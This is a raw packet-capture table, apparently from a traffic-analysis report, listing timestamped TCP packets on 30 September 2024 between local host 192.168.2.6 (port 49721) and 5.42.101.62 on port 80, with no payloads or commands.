Sep 30, 2024 13:59:27.292664051 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292679071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292687893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292699099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292718887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292742968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292781115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292790890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292802095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292810917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292812109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292828083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292849064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292855024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292870998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292881966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292889118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292946100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.292974949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292984962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.292994976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293005943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293020010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293026924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293042898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293047905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293054104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293065071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293072939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293081045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293109894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293123007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293133974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293142080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293154955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293164968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293169975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293175936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293186903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293190956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293220043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293268919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293279886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293291092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293302059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293303013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293332100 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293356895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293734074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293754101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293768883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293775082 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293787956 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293802977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293807983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293842077 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293865919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293875933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293886900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.293895960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293911934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.293926954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381127119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381169081 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381220102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381230116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381246090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381258965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381263971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381269932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381282091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381292105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381297112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381315947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381324053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381335020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381337881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381345987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381364107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381388903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381438017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381448984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381458998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381473064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381488085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381553888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381563902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381575108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381588936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381616116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381616116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381628036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381639004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381649971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381652117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381665945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381675959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381678104 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381686926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.381707907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.381725073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.405870914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.410674095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.595907927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.595931053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.595942020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.595982075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.595998049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596009970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596020937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596029997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596071959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596081018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596091032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596101046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596107006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596117020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596117973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596146107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596169949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596170902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596182108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596193075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596200943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596215963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596237898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596239090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596250057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596260071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596270084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596273899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596286058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596303940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596318007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596327066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596337080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596345901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596357107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596375942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596394062 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596438885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596450090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596460104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596473932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596474886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596486092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596486092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596498966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596503019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596517086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596518993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596529007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596538067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596544027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596551895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596564054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596573114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596579075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596601009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596612930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596617937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596623898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596658945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596668959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596678972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596695900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596704960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596704960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596729040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596752882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596884966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596900940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596910954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596920013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596930027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596936941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596940041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596949100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596959114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596961021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596968889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.596976995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.596978903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597004890 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597026110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597325087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597337008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597346067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597372055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597376108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597385883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597393036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597397089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597419977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597420931 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597445965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597464085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597484112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597496033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597511053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597517967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597531080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597548008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597624063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597635984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597646952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597656012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597659111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597666979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597670078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597677946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597688913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597707987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597714901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597727060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597737074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597738028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597747087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597759962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597765923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597793102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597860098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597870111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597878933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597888947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597893000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597898006 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597909927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597918987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.597920895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.597946882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598011017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598021030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598030090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598043919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598068953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598068953 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598083973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598104954 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598107100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598118067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598126888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598129988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598138094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598157883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598472118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598480940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598490953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598507881 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598526955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598531961 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598537922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598561049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598582983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598737955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598751068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598759890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598769903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598779917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598783016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598798990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598808050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598809958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598819017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598819971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598829031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598839998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598845959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598850012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598859072 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598869085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598871946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598884106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598887920 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598893881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598908901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598911047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598918915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598928928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598934889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598938942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598948002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598948002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598958969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.598965883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.598984957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599005938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599586964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599606991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599622011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599632025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599637985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599642038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599647045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599664927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599675894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599687099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599687099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599695921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599709988 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599735975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599739075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599749088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599759102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599767923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599771976 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599782944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599787951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599797964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.599798918 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.599828005 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.686960936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.686999083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687014103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687063932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687086105 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687103987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687119007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687129974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687140942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687150002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687151909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687163115 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687172890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687180996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687190056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687201977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687216997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687238932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:27.687256098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687268019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687278986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:27.687289000 CEST	80	49721	5.42.101.62	192.168.2.6
